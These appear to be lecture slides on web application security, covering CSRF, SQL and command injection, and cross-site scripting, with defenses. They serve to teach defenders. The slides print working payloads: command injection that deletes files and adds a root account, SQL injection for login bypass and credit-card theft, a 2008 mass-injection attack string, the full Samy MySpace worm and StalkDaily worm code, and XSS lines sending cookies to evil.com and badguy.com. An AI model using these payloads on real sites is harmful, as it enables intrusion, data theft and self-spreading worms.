CS 361S

Web Application Security

Vitaly Shmatikov

(most slides from the Stanford Web security group)

Reading Assignment
 “Robust Defenses for Cross-Site Request Forgery”
 “Advanced SQL Injection”
 “Cross Site Scripting Explained”
 “Postcards from the Post-XSS World”

slide 2
Web Applications
 Big trend: software as a Web-based service
• Online banking, shopping, government, bill payment,
tax prep, customer relationship management, etc.
• Cloud computing
 Applications hosted on Web servers
• Written in a mixture of PHP, Ruby, Java, Perl, ASP
 Security is rarely the main concern
• Poorly written scripts with inadequate input validation
• Sensitive data stored in world-readable files
• Recent push from Visa and Mastercard to improve
security of data management (PCI standard)
slide 3
Top Web Vulnerabilities
 XSRF (CSRF) - cross-site request forgery
• Bad website forces the user’s browser to send a
request to a good website
 SQL injection
• Malicious data sent to a website is interpreted as
code in a query to the website’s back-end database
 XSS (CSS) – cross-site scripting
• Malicious code injected into a trusted context (e.g.,
malicious data presented by an honest website
interpreted as code by the user’s browser)

slide 4
Cookie-Based Authentication Redux

Browser Server
POST/login.
cgi

u t h en t i ca to r
Set-cookie: a

GET…
Cookie:
authentica
to r

response

slide 5
Browser Sandbox Redux
 Based on the same origin policy (SOP)
 Active content (scripts) can send anywhere!
• Some ports inaccessible - e.g., SMTP (email)
 Can only read response from the same origin

slide 6
Cross-Site Request Forgery
 Users logs into bank.com, forgets to sign off
• Session cookie remains in browser state
 User then visits a malicious website containing
<form name=BillPayForm
action=http://bank.com/BillPay.php>
<input name=recipient value=badguy> …
<script> document.BillPayForm.submit(); </script>
 Browser sends cookie, payment request fulfilled!
 Lesson: cookie authentication is not sufficient
when side effects can happen
slide 7
Sending a Cross-Domain POST

<form method="POST" action="http://othersite.com/file.cgi" encoding="text/plain">

<input type="hidden" name=“Hello world!\n\n2¥+2¥" value=“4¥">
</form>

<script>document.forms[0].submit()</script> submit post

 Hidden iframe can do this in the background

 User visits a malicious page, browser submits
form on behalf of the user
• Hijack any ongoing session
– Netflix: change account settings, Gmail: steal contacts
• Reprogram the user’s home router
• Many other attacks possible
slide 8
Cookies in Forged Requests

Cookie: SessionID=523FA4cd2E

User credentials slide 9

XSRF (aka CSRF): Summary
Server victim

s e s s ion
lis h
1 es ta b
re q ue st
d fo rged
4 s en

2 v
is it s
3 erve
User victim re c e r
ive
mal
iciou Attack server
s pa
g e

Q: how long do you stay logged on to Gmail? Financial sites?

slide 10
Remember Drive-By Pharming?

Home router
r e r o ut e r
u
1 config
q ues t
ged re
n d fo r
4 se

2 visit s
it e
3 r
e c ei v
User e ma
liciou Bad website
s pa g
e

slide 11
XSRF True Story (1)
[Alex Stamos]

 User has a Java stock ticker from his broker’s

website running in his browser
• Ticker has a cookie to access user’s account on the site
 A comment on a public message board on
finance.yahoo.com points to “leaked news”
• TinyURL redirects to cybervillians.com/news.html
 User spends a minute reading a story, gets bored,
leaves the news site
 Gets his monthly statement from the broker -
$5,000 transferred out of his account!
slide 12
 XSRF True Story (2)
[Alex Stamos]
CyberVillians.com

Internet Exploder GET news.html

www.cybervillians.com/news.html
HTML and JS
B er n a n k e R ea lly a n Alien ?

script
HTML Form POSTs StockBroker.com

Hidden iframes submitted forms that…

• Changed user’s email notification settings
• Linked a new checking account
ticker.stockbroker.com
Java
• Transferred out $5,000
• Unlinked the account
• Restored email notifications
slide 13
XSRF Defenses
 Secret validation token

<input type=hidden value=23a3af01b>

 Referer validation
Referer:
http://www.facebook.com/home.php

 Custom HTTP header

X-Requested-By: XMLHttpRequest

slide 14
Add Secret Token to Forms
<input type=hidden value=23a3af01b>
 Hash of user ID
• Can be forged by attacker
 Session ID
• If attacker has access to HTML or URL of the page
(how?), can learn session ID and hijack the session
 Session-independent nonce – Trac
• Can be overwritten by subdomains, network attackers
 Need to bind session ID to the token (how?)
• CSRFx, CSRFGuard - manage state table at the server
• Keyed HMAC of session ID – no extra state!
slide 15
Secret Token: Example

slide 16
Referer Validation

 Referer:
http://www.facebook.com/home.php

 Referer:
http://www.evil.com/attack.html
? Referer:

 Lenient referer checking – header is optional

 Strict referer checking – header is required

slide 17
Why Not Always Strict Checking?
 Why might the referer header be suppressed?
• Stripped by the organization’s network filter
– For example, http://intranet.corp.apple.com/
projects/iphone/competitors.html
• Stripped by the local machine
• Stripped by the browser for HTTPS  HTTP transitions
• User preference in browser
• Buggy browser
 Web applications can’t afford to block these users
 Referer rarely suppressed over HTTPS
• Logins typically use HTTPS – helps against login XSRF!
slide 18
XSRF with Lenient Referer Checking

http://www.attacker.com

redirects to
common browsers don’t send referer header
ftp://www.attacker.com/index.html
javascript:"<script> /* XSRF */ </script>"
data:text/html,<script> /* XSRF */ </script>

slide 19
Custom Header
 XMLHttpRequest is for same-origin requests
• Browser prevents sites from sending custom HTTP
headers to other sites, but can send to themselves
• Can use setRequestHeader within origin
 Limitations on data export
• No setRequestHeader equivalent
• XHR 2 has a whitelist for cross-site requests
 POST requests via AJAX
X-Requested-By: XMLHttpRequest
 No secrets required
slide 20
Broader View of XSRF
 Abuse of cross-site data export
• SOP does not control data export
• Malicious webpage can initiates requests from the
user’s browser to an honest server
• Server thinks requests are part of the established
session between the browser and the server
 Many reasons for XSRF attacks, not just “session
riding”

slide 21
Login XSRF

slide 22
Referer Header Helps, Right?

slide 23
Laundering Referer Header
referer: http://www.siteA.com siteB

referer: ??? (browser-dependent)

slide 24
XSRF Recommendations
 Login XSRF
• Strict referer validation
• Login forms typically submitted over HTTPS, referer
header not suppressed
 HTTPS sites, such as banking sites
• Strict referer validation
 Other sites
• Use Ruby-on-Rails or other framework that
implements secret token method correctly

slide 25
Other Identity Misbinding Attacks
 User’s browser logs into website, but site
associates session with the attacker
• Capture user’s private information (Web searches,
sent email, etc.)
• Present user with malicious content
 Many examples
• Login XSRF is one example of this
• OpenID
• PHP cookieless authentication

slide 26
OpenID

slide 27
PHP Cookieless Authentication

slide 28
Server Side of Web Application
 Runs on a Web server (application server)
 Takes input from remote users via Web server
 Interacts with back-end databases and other
servers providing third-party content
 Prepares and outputs results for users
• Dynamically generated HTML pages
• Content from many different sources, often
including users themselves
– Blogs, social networks, photo-sharing websites…

slide 29
Dynamic Web Application

Browser GET / HTTP/1.0

Web
server
HTTP/1.1 200 OK
index.php

Database
server

slide 30
PHP: Hypertext Preprocessor
 Server scripting language with C-like syntax
 Can intermingle static HTML and code
<input value=<?php echo $myvalue; ?>>
 Can embed variables in double-quote strings
$user = “world”; echo “Hello $user!”;
or $user = “world”; echo “Hello” . $user .
“!”;
 Form data in global arrays $_GET, $_POST, …

slide 31
Command Injection in PHP
 Server-side PHP calculator:
$in = $_GET[‘val'];
eval('$op1 = ' . $in . ';');
 Good user calls Supplied by the user!

http://victim.com/calc.php?val=5
URL-encoded
 Bad user calls
http://victim.com/calc.php?val=5 ; system('rm *.*')
 calc.php executes
eval(‘$op1 = 5; system('rm *.*');');

slide 32
More Command Injection in PHP
 Typical PHP server-side code for sending email
$email = $_POST[“email”]
$subject = $_POST[“subject”]
system(“mail $email –s $subject < /tmp/joinmynetwork”)
 Attacker posts
http://yourdomain.com/mail.pl?
[email protected]&
subject=foo < /usr/passwd; ls
OR
http://yourdomain.com/mail.pl?
[email protected]&subject=foo;
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
slide 33
SQL
 Widely used database query language
 Fetch a set of records
SELECT * FROM Person WHERE Username=‘Vitaly’
 Add data to the table
INSERT INTO Key (Username, Key) VALUES (‘Vitaly’, 3611BBFF)
 Modify data
UPDATE Keys SET Key=FA33452D WHERE PersonID=5
 Query syntax (mostly) independent of vendor

slide 34
Typical Query Generation Code

$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " .
"WHERE Username='$selecteduser'";
$rs = $db->executeQuery($sql);

 What if ‘user’ is a malicious string that changes

the meaning of the query?

slide 35
Typical Login Prompt

slide 36
User Input Becomes Part of Query

Enter SELECT passwd

Username FROM USERS
Web & WHERE uname
Password Web IS ‘$user’
browser DB
server
(Client)

slide 37
Normal Login

Enter SELECT passwd

Username FROM USERS
Web & WHERE uname
Password Web IS ‘smith’
browser DB
server
(Client)

slide 38
Malicious User Input

slide 39
SQL Injection Attack

SELECT passwd
Enter FROM USERS
Username WHERE uname
Web & IS ‘’; DROP TABLE
Password Web
browser USERS; -- ’ DB
server
(Client)

Eliminates all user

accounts

slide 40
Exploits of a Mom
http://xkcd.com/327/

slide 41
 SQL Injection: Basic Idea
Victim server

o us form
Attacker post malici
1

2
3 receive data from DB unintended
query

 This is an input validation vulnerability

• Unsanitized user input in SQL query to back-
end database changes the meaning of query
 Special case of command injection
Victim SQL DB
slide 42
Authentication with Back-End DB
 set UserFound=execute(
“SELECT * FROM UserTable WHERE
username=‘ ” & form(“user”) & “ ′ AND
password= ‘ ” & form(“pwd”) & “ ′ ” );
User supplies username and password, this SQL query
checks if user/password combination is in the database

 If not UserFound.EOF
Only true if the result of SQL
Authentication correct query is not empty, i.e.,
user/pwd is in the database
else Fail
slide 43
Using SQL Injection to Log In
 User gives username ′ OR 1=1 --
 Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username=‘’ OR 1=1 -- … );
Always true! Everything after -- is ignored!

 Now all records match the query, so the result is

not empty  correct “authentication”!

slide 44
Another SQL Injection Example
[From “The Art of Intrusion”]
 To authenticate logins, server runs this SQL
command against the user database:
SELECT * WHERE user=‘name’ AND pwd=‘passwd’
 User enters ’ OR WHERE pwd LIKE ‘% as both
name and passwd Wildcard matches any password
 Server executes
SELECT * WHERE user=‘’ OR WHERE pwd LIKE ‘%’
AND pwd=‘’ OR WHERE pwd LIKE ‘%’
 Logs in with the credentials of the first person in
the database (typically, administrator!)
slide 45
It Gets Better
 User gives username
′ exec cmdshell ‘net user badguy badpwd’ / ADD --
 Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username= ‘’ exec … -- … );
 Creates an account for badguy on DB server

slide 46
Pull Data From Other Databases
 User gives username
’ AND 1=0
UNION SELECT cardholder, number,
exp_month, exp_year FROM creditcards
 Results of two queries are combined
 Empty table from the first query is displayed
together with the entire contents of the credit
card database

slide 47
More SQL Injection Attacks
 Create new users
’; INSERT INTO USERS (‘uname’,‘passwd’,‘salt’)
VALUES (‘hacker’,‘38a74f’, 3234);

 Reset password
’; UPDATE USERS SET [email protected]
WHERE [email protected]

slide 48
Uninitialized Inputs
Creates a password with 8
/* php-files/lostpassword.php */ random characters, assuming
$new_pass is set to NULL
for ($i=0; $i<=7; $i++)
$new_pass .= chr(rand(97,122))
…
$result = dbquery(“UPDATE ”.$db_prefix.“users
SET user_password=md5(‘$new_pass’)
WHERE user_id=‘”.$data[‘user_id’].“ ’ ”);
SQL query setting
password in the DB
In normal execution, this becomes
UPDATE users SET user_password=md5(‘????????’)
WHERE user_id=‘userid’
slide 49
Exploit
Only works against older versions of PHP

User appends this to the URL:

&new_pass=badPwd%27%29%2c
user_level=%27103%27%2cuser_aim=%28%27
This sets $new_pass to
badPwd’), user_level=‘103’, user_aim=(‘

SQL query becomes

UPDATE users SET user_password=md5(‘badPwd’),
user_level=‘103’, user_aim=(‘????????’)
WHERE user_id=‘userid’ User’s password is
set to ‘badPwd’
… with superuser privileges

slide 50
Second-Order SQL Injection
 Data stored in the database can be later used to
conduct SQL injection
 For example, user manages to set uname to
admin’ --
• This vulnerability could exist if input validation and
escaping are applied inconsistently
– Some Web applications only validate inputs coming from the
Web server but not inputs coming from the back-end DB
• UPDATE USERS SET passwd=‘cracked’
WHERE uname=‘admin’ --’
 Solution: treat all parameters as dangerous
slide 51
CardSystems Attack (June 2005)
 CardSystems was a major credit card processing
company
 Put out of business by a SQL injection attack
• Credit card numbers stored unencrypted
• Data on 263,000 accounts stolen
• 43 million identities exposed

slide 52
SQL Injection in the Real World
http://www.ireport.com/docs/DOC-11831

 Oklahoma Department of Corrections divulges

thousands of social security numbers (2008)
• Sexual and Violent Offender Registry for Oklahoma
• Data repository lists both offenders and employees
 “Anyone with a web browser and the knowledge
from Chapter One of SQL for
Dummies could have easily
accessed – and possibly,
changed – any data within
the DOC's databases"
36-20
slide 53
Attack on Microsoft IIS (April 2008)

slide 54
Main Steps in April 2008 Attack
 Use Google to find sites using a particular ASP
style vulnerable to SQL injection
 Use SQL injection to modify the pages to include
a link to a Chinese site nihaorr1.com
• Do not visit that site – it serves JavaScript that exploits
vulnerabilities in IE, RealPlayer, QQ Instant Messenger
 Attack used automatic tool; can be configured to
inject whatever you like into vulnerable sites
 There is some evidence that hackers may have
gotten paid for each victim’s visit to nihaorr1.com
slide 55
Part of the SQL Attack String
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))
+'‘ ''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor;
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(
%20AS%20NVARCHAR(4000));EXEC(@S);-- slide 56
Preventing SQL Injection
 Validate all inputs
• Filter out any character that has special meaning
– Apostrophes, semicolons, percent symbols, hyphens,
underscores, …
• Check the data type (e.g., input must be an integer)
 Whitelist permitted characters
• Blacklisting “bad” characters doesn’t work
– Forget to filter out some characters
– Could prevent valid input (e.g., last name O’Brien)
• Allow only well-defined set of safe values
– Set implicitly defined through regular expressions

slide 57
Escaping Quotes
 Special characters such as ’ provide distinction
between data and code in queries
 For valid string inputs containing quotes, use
escape characters to prevent the quotes from
becoming part of the query code
 Different databases have different rules for
escaping
• Example: escape(o’connor) = o\’connor or
escape(o’connor) = o’’connor

slide 58
Prepared Statements
 In most injection attacks, data are interpreted
as code – this changes the semantics of a query
or command generated by the application
 Bind variables: placeholders guaranteed to be
data (not code)
 Prepared statements allow creation of static
queries with bind variables; this preserves the
structure of the intended query

slide 59
Prepared Statement: Example
http://java.sun.com/docs/books/tutorial/jdbc/basics/prepared.html

PreparedStatement ps =
db.prepareStatement("SELECT pizza, toppings, quantity, order_day "
+ "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParamenter("month")));
ResultSet res = ps.executeQuery(); Bind variable
(data placeholder)

 Query is parsed without data parameters

 Bind variables are typed (int, string, …)

 But beware of second-order SQL injection…

slide 60
Parameterized SQL in ASP.NET
 Builds SQL queries by properly escaping args
• Replaces ′ with \′

SqlCommand cmd = new SqlCommand(

“SELECT * FROM UserTable WHERE
username = @User AND
password = @Pwd”, dbConnection);
cmd.Parameters.Add(“@User”, Request[“user”] );
cmd.Parameters.Add(“@Pwd”, Request[“pwd”] );
cmd.ExecuteReader();

slide 61
More Bad Input Validation
[From “The Art of Intrusion”]
 Web form for traceroute doesn’t check for “&” 
type <IP addr> & <any shell command>
 PHF (phonebook) CGI script does not check input
for newline  execute any shell command
• Open xterm to attacker’s X server, display pwd file
• Use it to show directory contents, learn that Apache is
running as “nobody”, change config file so that it runs
as “root” next time, break in after a blackout
 Perl script doesn’t check for backticks  steal
mailing list from a porn site for spamming

slide 62
Echoing / “Reflecting” User Input
Classic mistake in server-side applications

http://naive.com/search.php?term=“Britney Spears”

search.php responds with

<html> <title>Search results</title>
<body>You have searched for <?php echo $_GET[term] ?>… </body>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
slide 63
 Cross-Site Scripting (XSS)
How about this one?
What is the ORIGIN
evil.com of this script? naive.com

hello.cgi
Access some web page

<iframe src=
http://naive.com/hello.cgi? GET/ hello.cgi?name=
name=<script>win.open( <script>win.open(“http://
“http://evil.com/steal.cgi? evil.com/steal.cgi?cookie=”+ hello.cgi
cookie=”+document.cookie) document.cookie)</script> executed
</script>>
<HTML>Hello, dear
Forces victim’s browser to <script>win.open(“http://
call hello.cgi on naive.com evil.com/steal.cgi?cookie=”
with this script as “name” +document.cookie)</script>
Welcome!</HTML>
GET/ steal.cgi?cookie=
Interpreted as JavaScript
by victim’s browser;
Why does the opens window and calls
browser allow this? victim’s browser steal.cgi on evil.com
slide 64
Reflected XSS
 User is tricked into visiting an honest website
• Phishing email, link in a banner ad, comment in a blog
 Bug in website code causes it to echo to the
user’s browser an arbitrary attack script
• The origin of this script is now the website itself!
 Script can manipulate website contents (DOM) to
show bogus information, request sensitive data,
control form fields on this page and linked pages,
cause user’s browser to attack other websites
• This violates the “spirit” of the same origin policy
slide 65
Basic Pattern for Reflected XSS

Attack server
w e b site
1 visit
u s p a ge
e m a licio
iv
2 rece l e d a ta
n d va l ua b
5 se

3
User victim click
4 on l
echo ink Server victim
us e r
inpu
t

slide 66
Adobe PDF Viewer (before version 7.9)

 PDF documents execute JavaScript code

http://path/to/pdf/
file.pdf#whatever_name_you_want=javascript:code
_here
 The “origin” of this injected code is the domain
where PDF file is hosted

slide 67
XSS Against PDF Viewer
 Attacker locates a PDF file hosted on site.com
 Attacker creates a URL pointing to the PDF, with
JavaScript malware in the fragment portion
http://site.com/path/to/file.pdf#s=javascript:malcode
 Attacker entices a victim to click on the link
 If the victim has Adobe Acrobat Reader Plugin
7.0.x or less, malware executes
• Its “origin” is site.com, so it can change content,
steal cookies from site.com

slide 68
Not Scary Enough?
 PDF files on the local filesystem:

file:///C:/Program%20Files/Adobe/Acrobat%207.0/Reso
urce/ENUtxt.pdf#blah=javascript:alert("XSS");

JavaScript malware now runs in local context

with the ability to read and write local files ...

slide 69
Where Malicious Scripts Lurk
 User-created content
• Social sites, blogs, forums, wikis
 When visitor loads the page, website displays the
content and visitor’s browser executes the script
• Many sites try to filter out scripts from user content,
but this is difficult!

slide 70
 Stored XSS
Attack server
bl e da ta
s t e al valua
4
1
Inject
2 re malicious
User victim que script
3 re s t co
ceiv n te n Store bad stuff
em t
alici
o us
scrip
t
Users view or
download content
Server victim

slide 71
XSS in Orkut
http://antrix.net/journal/techtalk/orkut_xss.html

 Orkut: Google’s social network Example of XSS exploit code

• 37 million members (2006), very popular in Brazil

 Bug allowed users to put scripts in their profiles…
when user views infected profile, script grabs
cookie, transfers all user-owned groups to attacker
 Another Orkut virus: attack script in a Flash file
• Virus adds malicious Flash as a “scrap” to the user’s
profile; everybody who views that profile is infected, too
– Exponential propagation! Similar to “wall post” in Facebook

• Every viewer of infected profile is joined to a community

– “Infectatos pelo Virus do Orkut” (655,000 members at peak!
slide 72
Twitter Worm (2009)
http://dcortesi.com/2009/04/11/twitter-stalkdaily-worm-postmortem/

 Can save URL-encoded data into Twitter profile

 Data not escaped when profile is displayed
 Result: StalkDaily XSS exploit
• If view an infected profile, script infects your own profile
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter
but with pictures, videos, and so much more! ");
var xss = urlencode('http://www.stalkdaily.com"></a><script
src="http://mikeyylolz.uuuq.com/x.js"></script><script
src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
var ajaxConn = new XHConn();
ajaxConn.connect(“/status/update", "POST",
"authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect(“/account/settings", "POST",
"authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update")

slide 73
XSS in the Wild
http://xssed.com/archive

slide 74
Stored XSS Using Images
 Suppose pic.jpg on web server contains HTML
• Request for http://site.com/pic.jpg results in:
HTTP/1.1 200 OK
…
Content-Type: image/jpeg
<html> fooled ya </html>
• IE will render this as HTML (despite Content-Type)
 Photo-sharing sites
• What if attacker uploads an “image” that is a script?

slide 75
XSS of the Third Kind Attack code does not
appear in HTML sent
over network
 Script builds webpage DOM in the browser
<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
</HTML>
 Works fine with this URL
• http://www.example.com/welcome.html?name=Joe
 But what about this one?
• http://www.example.com/welcome.html?name=
<script>alert(document.cookie)</script>
slide 76
Using Login XSRF for XSS

slide 77
Web 2.0
[Alex Stamos]

1. HTTP GET
2. HTML and JS
3. Asynchronous GET
` 4. Javascript to wrap in eval

Malicious scripts may be …

• Contained in arguments of dynamically created
JavaScript
• Contained in JavaScript arrays
• Dynamically written into the DOM
slide 78
XSS in AJAX (1)
[Alex Stamos]

 Downstream JavaScript arrays

var downstreamArray = new Array();
downstreamArray[0] = “42"; doBadStuff(); var bar=“ajacked";

 Won’t be detected by a naïve filter

• No <>, “script”, onmouseover, etc.
 Just need to break out of double quotes

slide 79
XSS in AJAX (2)
[Alex Stamos]

 JSON written into DOM by client-side script

var inboundJSON = {"people": [

{"name": "Joel", "address": “<script>badStuff();</script>",
"phone": "911"} ] };

someObject.innerHTML(inboundJSON.people[0].address); //
Vulnerable
document.write(inboundJSON.people[0].address); // Vulnerable
someObject.innerText(inboundJSON.people[0].address); // Safe

 XSS may be already in DOM!

• document.url, document.location, document.referer
slide 80
Backend AJAX Requests
[Alex Stamos]

 “Backend” AJAX requests

• Client-side script retrieves data from the server using
XMLHttpRequest, uses it to build webpage in browser
• This data is meant to be converted into HTML by the
script, never intended to be seen directly in the browser
 Example: WebMail.com
Request:
GET http://www.webmail.com/mymail/getnewmessages.aspx
Raw data, intended to be converted into HTML
Response: inside the browser by the client-side script

var messageArray = new Array();

messageArray[0] = “This is an email subject”;
slide 81
XSS in AJAX (3)
[Alex Stamos]

 Attacker sends the victim an email with a script:

• Email is parsed from the data array, written into HTML
with innerText(), displayed harmlessly in the browser
 Attacker sends the victim an email with a link to
backend request and the victim clicks the link:
The browser will issue this request:
GET http://www.webmail.com/mymail/getnewmessages.aspx

… and display this text:

var messageArray = new Array();
messageArray[0] = “<script>var i = new Image();
i.src=‘http://badguy.com/’ + document.cookie;</script>”
slide 82
How to Protect Yourself
Source: Open Web Application Security Project

 Ensure that your app validates all headers, cookies, query

strings, form fields, and hidden fields against a rigorous
specification of what should be allowed.
 Do not attempt to identify active content and remove,
filter, or sanitize it. There are too many types of active
content and too many ways of encoding it to get around
filters for such content.
 We strongly recommend a ‘positive’ security policy that
specifies what is allowed. ‘Negative’ or attack signature
based policies are difficult to maintain and are likely to be
incomplete.

slide 83
What Does This Script Do?

slide 84
Preventing Cross-Site Scripting
 Any user input and client-side data must be
preprocessed before it is used inside HTML
 Remove / encode (X)HTML special characters
• Use a good escaping library
– OWASP ESAPI (Enterprise Security API)
– Microsoft’s AntiXSS
• In PHP, htmlspecialchars(string) will replace all special
characters with their HTML codes
– ‘ becomes &#039; “ becomes &quot; & becomes &amp;
• In ASP.NET, Server.HtmlEncode(string)

slide 85
Evading XSS Filters
 Preventing injection of scripts into HTML is hard!
• Blocking “<” and “>” is not enough
• Event handlers, stylesheets, encoded inputs (%3C), etc.
• phpBB allowed simple HTML tags like <b>
<b c=“>” onmouseover=“script” x=“<b ”>Hello<b>
 Beware of filter evasion tricks (XSS Cheat Sheet)
• If filter allows quoting (of <script>, etc.), beware of
malformed quoting: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
• Long UTF-8 encoding
• Scripts are not only in <script>:
<iframe src=`https://bank.com/login’ onload=`steal()’>
slide 86
MySpace Worm (1)
http://namb.la/popular/tech.html

 Users can post HTML on their MySpace pages

 MySpace does not allow scripts in users’ HTML
• No <script>, <body>, onclick, <a href=javascript://>
 … but does allow <div> tags for CSS. K00L!
• <div style=“background:url(‘javascript:alert(1)’)”>
 But MySpace will strip out “javascript”
• Use “java<NEWLINE>script” instead
 But MySpace will strip out quotes
• Convert from decimal instead:
alert('double quote: ' + String.fromCharCode(34))
slide 87
MySpace Worm (2)
http://namb.la/popular/tech.html

 “There were a few other complications and things to get

around. This was not by any means a straight forward
process, and none of this was meant to cause any
damage or piss anyone off. This was in the interest
of..interest. It was interesting and fun!”
 Started on Samy Kamkar’s MySpace page,
everybody who visited an infected page became
infected and added “samy” as a friend and hero
• “samy” was adding 1,000 friends
per second at peak
• 5 hours later: 1,005,831 friends
slide 88
Code of the MySpace Worm
http://namb.la/popular/tech.html
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var
D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU)
{M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var
F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var
AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://
www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}
function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!
=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return
false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-formurlencoded');
J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var
S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}
function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var
X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e)
{Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}
catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var
AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero.
<d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</
td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?
fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var
AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?
fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?
fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?
fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var
AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?
fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}
eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-
formurlencoded');
xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
slide 89
31 Flavors of XSS
Source: XSS Filter Evasion Cheat Sheet
 <BODY ONLOAD=alert('XSS')>
 ¼script¾alert(¢XSS¢)¼/script¾
 <XML ID="xss"><I><B>&lt;IMG SRC="javas<!--
-->cript:alert('XSS')"&gt;</B></I></XML>
